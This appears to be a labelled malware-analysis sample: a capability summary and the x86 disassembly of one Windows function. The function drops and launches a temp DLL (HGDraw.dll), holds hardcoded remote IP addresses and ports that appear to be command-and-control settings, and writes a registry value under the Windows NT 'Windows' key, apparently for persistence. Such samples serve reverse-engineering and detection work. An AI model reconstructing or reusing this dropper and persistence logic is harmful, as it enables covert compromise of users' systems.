Function at 0x402070
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.00407fe0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x416]
push eax
mov word [ebp - 0x418], dx
call fcn.00407fe0
add esp, 0xc
push 0x200
lea ecx, [ebp - 0x618]
push 0
push ecx
call fcn.00407fe0
add esp, 0xc
lea edx, [ebp - 0x210]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.HGDraw.dll
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404696
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.00402590
cmp dword [0x417638], 1
mov esi, eax
jne 0x402135
test esi, esi
jne 0x402135
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404687
mov esp, ebp
pop ebp
ret
call fcn.00402a00
mov edi, eax
mov eax, 0x2b8e
mov edx, 0x51
mov word [ebp - 0x4f2], ax
mov dword [ebp - 0x618], 0x504d534d
mov word [ebp - 0x594], dx
xor eax, eax
movzx ecx, word [eax + 0x413298]
mov word [ebp + eax - 0x572], cx
add eax, 2
test cx, cx
jne 0x402160
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + str.112.175.88.207]
mov word [ebp + eax - 0x614], cx
add eax, 2
test cx, cx
jne 0x402180
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + str.AAAA]
mov word [ebp + eax - 0x592], cx
add eax, 2
test cx, cx
jne 0x4021a0
push 0x4175f8
lea ecx, [ebp - 0x490]
push 0x10
mov ebx, 5
push ecx
mov dword [ebp - 0x450], ebx
call fcn.0040470b
add esp, 0xc
test esi, esi
jne 0x4021e0
test edi, edi
je 0x402252
push 0x417470
lea edx, [ebp - 0x592]
push 0x10
push edx
call fcn.0040470b
add esp, 0xc
push 0x4174f0
lea eax, [ebp - 0x614]
push 0x40
push eax
call fcn.0040470b
add esp, 0xc
push 0x417570
lea ecx, [ebp - 0x572]
push 0x40
push ecx
call fcn.0040470b
mov ax, word [0x4175f0]
mov dx, word [0x41746c]
mov word [ebp - 0x4f2], ax
mov eax, dword [0x4175f4]
add esp, 0xc
mov word [ebp - 0x594], dx
mov dword [ebp - 0x450], eax
test eax, eax
jne 0x402252
mov dword [ebp - 0x450], ebx
mov ecx, str.112.175.88.213
lea eax, [ebp - 0x614]
lea ecx, [ecx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x402286
test dx, dx
je 0x402282
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x402286
add eax, 4
add ecx, 4
test dx, dx
jne 0x402260
xor eax, eax
jmp 0x40228b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4022a7
cmp word [ebp - 0x594], 0x51
jne 0x4022a7
mov ecx, 0x2b70
cmp word [ebp - 0x4f2], cx
je 0x4022e7
mov eax, 0x2b70
mov edx, 0x51
mov word [ebp - 0x4f2], ax
mov word [ebp - 0x594], dx
mov dword [ebp - 0x450], ebx
xor eax, eax
jmp 0x4022d0
movzx ecx, word [eax + str.112.175.88.213]
mov word [ebp + eax - 0x614], cx
add eax, 2
test cx, cx
jne 0x4022d0
mov ecx, 0x413298
lea eax, [ebp - 0x572]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x402318
test dx, dx
je 0x402314
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x402318
add eax, 4
add ecx, 4
test dx, dx
jne 0x4022f2
xor eax, eax
jmp 0x40231d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402347
mov dword [ebp - 0x450], ebx
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + 0x413298]
mov word [ebp + eax - 0x572], cx
add eax, 2
test cx, cx
jne 0x402330
cmp word [ebp - 0x614], 0
je 0x40256c
cmp word [ebp - 0x594], 0
jbe 0x40256c
mov esi, 0x504d534d
mov eax, 0x4175f8
mov dword [ebp - 0x618], esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402376
sub eax, edx
sar eax, 1
je 0x4023b3
push 0x4175f8
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x4023b3
push 0x4175f8
lea ecx, [ebp - 0x490]
push 0x10
push ecx
call fcn.0040470b
add esp, 0xc
cmp word [ebp - 0x490], 0
jne 0x4023d3
push str.nikon
lea edx, [ebp - 0x490]
push 0x10
push edx
call fcn.0040470b
add esp, 0xc
cmp word [ebp - 0x470], 0
jne 0x402427
push str.honds
lea eax, [ebp - 0x470]
push 0x10
push eax
call fcn.0040470b
mov eax, 0x417618
add esp, 0xc
lea edx, [eax + 2]
jmp 0x402400
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402400
sub eax, edx
sar eax, 1
je 0x402427
push 0x417618
lea ecx, [ebp - 0x470]
push 0x10
push ecx
call fcn.0040470b
add esp, 0xc
cmp dword [ebp - 0x450], 0
mov dword [ebp - 0x44c], 0x1000355
jne 0x402440
mov dword [ebp - 0x450], ebx
cmp dword [ebp - 0x618], 0x504d534d
mov dword [ebp - 0x81c], esi
mov ecx, 0x80
lea esi, [ebp - 0x618]
lea edi, [ebp - 0x818]
rep movsd dword es:[edi], dword [esi]
jne 0x40256c
lea edx, [ebp - 0x81c]
push edx
lea esi, [ebp - 0x818]
call fcn.00401f80
add esp, 4
test eax, eax
je 0x40256c
lea ebx, [ebp - 0x210]
lea edi, [ebp - 0x470]
call fcn.00402c11
push 0x104
lea eax, [ebp - 0x418]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
shr eax, 6
xor edx, edx
mov ecx, 0x64
div ecx
mov eax, ebx
push eax
lea ecx, [ebp - 0x418]
push ecx
mov eax, edx
call fcn.00403105
add esp, 8
lea edx, [ebp - 0x820]
push edx
push 3
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push connect
mov dword [ebp - 0x820], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402552
mov eax, ebx
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402510
sub eax, edx
mov edx, dword [ebp - 0x820]
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x210]
push ecx
push 1
push 0
push 0x413654
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x402552
mov eax, dword [ebp - 0x820]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x41325c
lea ecx, [ebp - 0x210]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00404687
mov esp, ebp
pop ebp
ret